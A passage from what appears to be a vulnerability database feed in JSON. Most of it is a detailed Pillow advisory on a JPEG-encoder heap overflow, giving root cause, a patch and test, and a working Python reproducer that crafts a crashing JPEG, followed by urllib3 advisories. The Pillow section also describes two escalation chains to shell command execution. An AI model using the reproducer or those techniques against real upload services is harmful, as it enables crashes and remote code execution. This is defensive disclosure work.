`jpeg_write_marker()` call was introduced in `e50ae85ea406` (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly.\n\nWith 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (`free_in_buffer == 0`) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (`JpegImagePlugin.py:788-806`), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (`empty_output_buffer()` returns FALSE, `JpegEncode.c:45-48`), which is why a *nearly* full buffer is harmless: with 1..N free bytes the comment write decrements `free_in_buffer` to 0 part-way, libjpeg raises `JERR_CANT_SUSPEND`, and the save fails with `OSError: broken data stream`. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is\n\n```c\n/* jcmarker.c */\n  *(dest->next_output_byte)++ = (JOCTET)val;\n  if (--dest->free_in_buffer == 0) { if (!(*dest->empty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); }\n```\n\ni.e. it writes `buf[65536]` first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and `jpeg_write_scanlines()` appends the full compressed image (≈100 KB for a 256×256 noisy source; proportional to the picture for larger ones). If the process survives that, `ImagingJpegEncode()` returns `next_output_byte - buf` (≈167000) as the byte count and `_encode()` calls `_PyBytes_Resize(&buf, 167199)` on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk.\n\nAll three ingredients come from the file. `JpegImagePlugin` reassembles APP2 `ICC_PROFILE` chunks into `im.info[\"icc_profile\"]` (`:238-241`) and stores the COM payload in `im.info[\"comment\"]` (`:194`); `_save()` forwards the comment on its own — `comment = info.get(\"comment\", im.info.get(\"comment\"))` (`:808`) — so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (`docs/handbook/image-file-formats.rst:608`). Unlike `exif` and `xmp`, there is no length check on the comment in `_save()`. A PNG source works the same way: its `iCCP` chunk becomes `im.info[\"icc_profile\"]` and a `tEXt` chunk keyed `comment` becomes `im.info[\"comment\"]` (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. `thumbnail()` and `convert()` carry `im.info` along, so the usual `open → thumbnail → convert(\"RGB\") → save(\"JPEG\", icc_profile=…)` handler reaches the same state. `xmp=` and `extra=` feed the same `extra` block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes `len(extra) + len(exif) + 4 == 65516`, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte `\"Created with GIMP\"` comment crashes the stock build just as reliably (SIGSEGV in `jpeg_write_scanlines`), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker.\n\n### What lies behind the buffer\n\nThe buffer is `PyBytes_FromStringAndSize(NULL, 65536)` = `malloc(65569)`, a 0x10030-byte glibc chunk, so `buf[65536]` is the first byte of the next chunk's header. In the same `encode()` call, right after that allocation, `jpeg_start_compress()` `malloc`s libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing `ImagingJpegEncode()` does after the COM write (`JpegEncode.c:352`; the state-5 room check passes because `free_in_buffer` has wrapped) is call `jpeg_write_scanlines()`, which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at `jpeg_write_scanlines+133: call *0x8(%rax)` with `%rax` pointing just past the end of the buffer at memory now holding comment bytes — an indirect call through a function pointer (`cinfo->main->process_data`) read from bytes the file supplied.\n\n## Impact\n\nAny service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (`icc_profile=im.info.get(\"icc_profile\")` — thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140–210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves.\n\nIt does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary `malloc` chunk, and what `jpeg_start_compress()` allocates directly behind it — libjpeg's PERMANENT and IMAGE pools, including the method pointers `jpeg_write_scanlines()` calls through immediately afterwards — is predictable. Against a long-lived stdlib-`http.server` worker running exactly the handler above (stock `/src` build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real `grayscale_convert()` copies a chosen 384-byte scanline over `_PyRuntime`, setting `allocators.obj_arena.free = system` with `ctx` = the command — the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the `size`/`next` of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own `malloc(comment_size)` in the next JPEG save (`src/encode.c:1250`) returns `_imaging.so`'s writable `.got.plt`, the comment replaces `free` with `system`, and the encoder's cleanup `free(context->comment)` at `JpegEncode.c:376` runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure — present or future — is enough, and this overflow is the only memory *write* either chain needs. Fixing it reduces those leaks to disclosures rather than footholds.\n\n## Reproducing\n\n`repro` is a single Python script. It uses the Pillow already built in `/src` and needs no rebuild. Run it as `./repro`. The last line of output is `BUG` or `OK`.\n\nThe script builds a valid 256×256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 `ICC_PROFILE` segment (sequence 1 of 1) with a payload of `65536 - 20 - 18 = 65498` bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic.\n\nEach file goes through the same application code in a child `python3 -X faulthandler` process:\n\n```python\nim = Image.open(BytesIO(data))\nim.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"])\n```\n\n1. **Control.** The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless.\n2. **PoC.** This is the same file plus a COM segment of 65533 `C` bytes. `JpegImagePlugin._save()` forwards `im.info[\"comment\"]` automatically. Case 4 of `ImagingJpegEncode()` writes the COM marker into the full buffer, the `free_in_buffer` counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer.\n\nExpected output: the control prints `save returned normally` and `-> exit status 0`. For the PoC, faulthandler prints `Fatal Python error: Segmentation fault` (sometimes a glibc message such as `realloc(): invalid next size` followed by `Aborted`). The Python stack ends in `ImageFile._encode_tile` called from `im.save`, then `-> exit status -11` (or `-6`), and finally `BUG`. The verdict is `BUG` only if the PoC child was killed by a signal. A normal return or a Python exception such as `OSError` gives `OK`.\n\n## Suggested fix\n\nThe attached patch guards state 4 the way state 2 guards the EXIF marker: before calling `jpeg_write_marker()` it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (`emit_byte` must never bring `free_in_buffer` to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer:\n\n```diff\n--- a/src/libImaging/JpegEncode.c\n+++ b/src/libImaging/JpegEncode.c\n@@ -327,6 +327,11 @@\n         case 4:\n \n             if (context->comment) {\n+                // check for comment len + 'COM' header bytes\n+                if (context->comment_size + 5 >\n+                    context->destination.pub.free_in_buffer) {\n+                    break;\n+                }\n                 jpeg_write_marker(\n```\n\nThe encoder then returns with the buffer full, `_encode_tile()` calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an *empty* buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte `MAXBLOCK` buffer — with only the C guard the encoder returns 0 bytes and no error forever and `_encode_tile()` spins. The patch therefore also changes `JpegImagePlugin._save()` to reserve `len(comment) + 5` in both sizing branches (added to `bufsize` in the `optimize`/`progressive` branch, and as a third term of the `max()` in the plain branch), and normalises the comment to `bytes` first (`str` is UTF-8-encoded, `None` becomes `b\"\"`) so the length is exact for non-ASCII `str` comments; `encode.c` already UTF-8-encodes `str` via `z#`, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised `OSError: broken data stream` because the default buffer was too small. The patch adds `test_icc_big_comment` to `Tests/test_file_jpeg.py`, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises `OSError`) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and `Tests/test_file_jpeg.py` and `Tests/test_file_mpo.py` pass.\n\nThe C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with `IMAGING_CODEC_MEMORY` instead of `break` when the marker does not fit and nothing has been written to the current buffer yet (`next_output_byte == buf`), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with `exif`/`xmp` handling for `_save()` to reject comments longer than `MAX_BYTES_IN_MARKER` (65533) with `ValueError(\"Comment is too long\")` rather than leaving it to libjpeg's `JERR_BAD_LENGTH` → `OSError`.\n\nIndependently, the \"+ 1 spare byte\" / \"+ 5\" reasoning in `_save()` under-counts by the 18–20 bytes `jpeg_start_compress()` writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting.\n\n## The patch\n\nCheck free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin._save\n\nApplies to `src/libImaging/JpegEncode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py\nindex b361aef2e..f884883c4 100644\n--- a/Tests/test_file_jpeg.py\n+++ b/Tests/test_file_jpeg.py\n@@ -227,6 +227,16 @@ class TestFileJpeg:\n         im1 = self.roundtrip(hopper(), icc_profile=icc_profile)\n         assert im1.info.get(\"icc_profile\") == (icc_profile or None)\n \n+    def test_icc_big_comment(self) -> None:\n+        # The ICC profile may fill the encoder buffer exactly, in which case the\n+        # comment has to be written to the next buffer\n+        comment = b\"C\" * 65533\n+        for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30):\n+            icc_profile = b\"I\" * n\n+            im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment)\n+            assert im.info[\"icc_profile\"] == icc_profile\n+            assert im.info[\"comment\"] == comment\n+\n     def test_large_icc_meta(self, tmp_path: Path) -> None:\n         # https://github.com/python-pillow/Pillow/issues/148\n         # Sometimes the meta data on the icc_profile block is bigger than\ndiff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py\nindex 4b8d34ca3..1d9f4c2fa 100644\n--- a/src/PIL/JpegImagePlugin.py\n+++ b/src/PIL/JpegImagePlugin.py\n@@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n             )\n             i += 1\n \n-    comment = info.get(\"comment\", im.info.get(\"comment\"))\n+    comment = info.get(\"comment\", im.info.get(\"comment\")) or b\"\"\n+    if isinstance(comment, str):\n+        comment = comment.encode()\n \n     # \"progressive\" is the official name, but older documentation\n     # says \"progression\"\n@@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n             bufsize += len(exif) + 5\n         if extra:\n             bufsize += len(extra) + 1\n+        if comment:\n+            bufsize += len(comment) + 5\n     else:\n         # The EXIF info needs to be written as one block, + APP1, + one spare byte.\n-        # Ensure that our buffer is big enough. Same with the icc_profile block.\n-        bufsize = max(len(exif) + 5, len(extra) + 1)\n+        # Ensure that our buffer is big enough. Same with the icc_profile block\n+        # and the comment (COM marker).\n+        bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5)\n \n     ImageFile._save(\n         im, fp, [ImageFile._Tile(\"jpeg\", (0, 0, *im.size), 0, rawmode)], bufsize\ndiff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c\nindex 098e431fc..b6771c6ec 100644\n--- a/src/libImaging/JpegEncode.c\n+++ b/src/libImaging/JpegEncode.c\n@@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) {\n         case 4:\n \n             if (context->comment) {\n+                // check for comment len + 'COM' header bytes\n+                if (context->comment_size + 5 >\n+                    context->destination.pub.free_in_buffer) {\n+                    break;\n+                }\n                 jpeg_write_marker(\n                     &context->cinfo,\n                     JPEG_COM,\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 3,343 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4).\n#\n# Re-saving a JPEG with its own ICC profile, the usual \"keep the colours\" re-encode:\n#     im = Image.open(f); im.save(out, \"JPEG\", icc_profile=im.info[\"icc_profile\"])\n# If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM\n# marker (forwarded from im.info[\"comment\"] automatically) is written with\n# free_in_buffer == 0. libjpeg stores the byte, then decrements the counter, which\n# wraps to ~2^64, and the comment plus the whole compressed image go past the end\n# of the heap buffer. The Python process dies with SIGSEGV or a glibc abort.\n#\n# Runs against the stock build in /src, no rebuild. Takes about 2 seconds.\nimport random\nimport struct\nimport subprocess\nimport sys\nfrom io import BytesIO\n\nfrom PIL import Image\n\n# Output-buffer layout at the moment the COM marker is written:\nENCODER_BUFFER = 65536  # ImageFile.MAXBLOCK; _save() never makes it bigger here\nJFIF_HEADER = 20  # SOI + JFIF APP0, written by jpeg_start_compress()\nICC_OVERHEAD = 18  # FFE2 <len> \"ICC_PROFILE\\0\" <seq> <count>\nICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498: exact fit\nCOMMENT = b\"C\" * 65533  # largest legal COM; content and length chosen by the file\n\n# What the victim application does with an uploaded file, run in a child process\n# so that we can see it die.\nRESAVE = \"\"\"\nimport sys\nfrom io import BytesIO\nfrom PIL import Image\nim = Image.open(BytesIO(sys.stdin.buffer.read()))\nim.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"])\nprint(\"save returned normally\")\n\"\"\"\n\n\ndef segment(marker, payload):\n    return bytes([0xFF, marker]) + struct.pack(\">H\", len(payload) + 2) + payload\n\n\ndef make_jpeg(with_comment):\n    \"\"\"A valid 256x256 JPEG: an ICC profile of ICC_PAYLOAD bytes, optionally a COM.\"\"\"\n    noise = random.Random(1234).randbytes(256 * 256 * 3)  # ~100 KB of image data\n    out = BytesIO()\n    Image.frombytes(\"RGB\", (256, 256), noise).save(out, \"JPEG\", quality=95)\n    plain = out.getvalue()\n\n    icc = segment(0xE2, b\"ICC_PROFILE\\0\\x01\\x01\" + b\"I\" * ICC_PAYLOAD)\n    com = segment(0xFE, COMMENT) if with_comment else b\"\"\n    return plain[:2] + icc + com + plain[2:]  # splice in right after SOI\n\n\ndef resave(jpeg):\n    # -X faulthandler: on a fatal signal, print where in Python the child died\n    cmd = [sys.executable, \"-X\", \"faulthandler\", \"-c\", RESAVE]\n    r = subprocess.run(cmd, input=jpeg, capture_output=True)\n    print((r.stdout + r.stderr).decode(errors=\"replace\").strip())\n    print(f\"-> exit status {r.returncode}\")\n    return r.returncode\n\n\n# Control: the same file without a COM segment re-saves fine, so the buffer\n# sizing and the ICC profile on their own are harmless.\nprint(\"Control: re-save the JPEG without a comment\")\nresave(make_jpeg(with_comment=False))\n\n# The bug: add a COM segment. The comment is now written into a buffer that has\n# no room left.\nprint(f\"\\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment\")\nrc = resave(make_jpeg(with_comment=True))\n\n# A negative return code means the child was killed by a signal (SIGSEGV or\n# SIGABRT from glibc's heap checks), not by a Python exception.\nif rc < 0:\n    print(f\"\\nim.save() killed the process with signal {-rc}: out-of-bounds heap write\")\n    print(\"BUG\")\nelse:\n    print(\"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96778"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/10124"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-97687","published":"2026-09-30T19:59:36Z","modified":"2026-10-02T09:56:23Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-97688","published":"2026-09-30T19:59:36Z","modified":"2026-10-02T09:56:23Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688","PYSEC-2026-4176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-97689","published":"2026-09-30T19:59:36Z","modified":"2026-10-02T09:56:23Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.6.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.6.3","key":"pkg:pypi/urllib3@2.6.3","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) 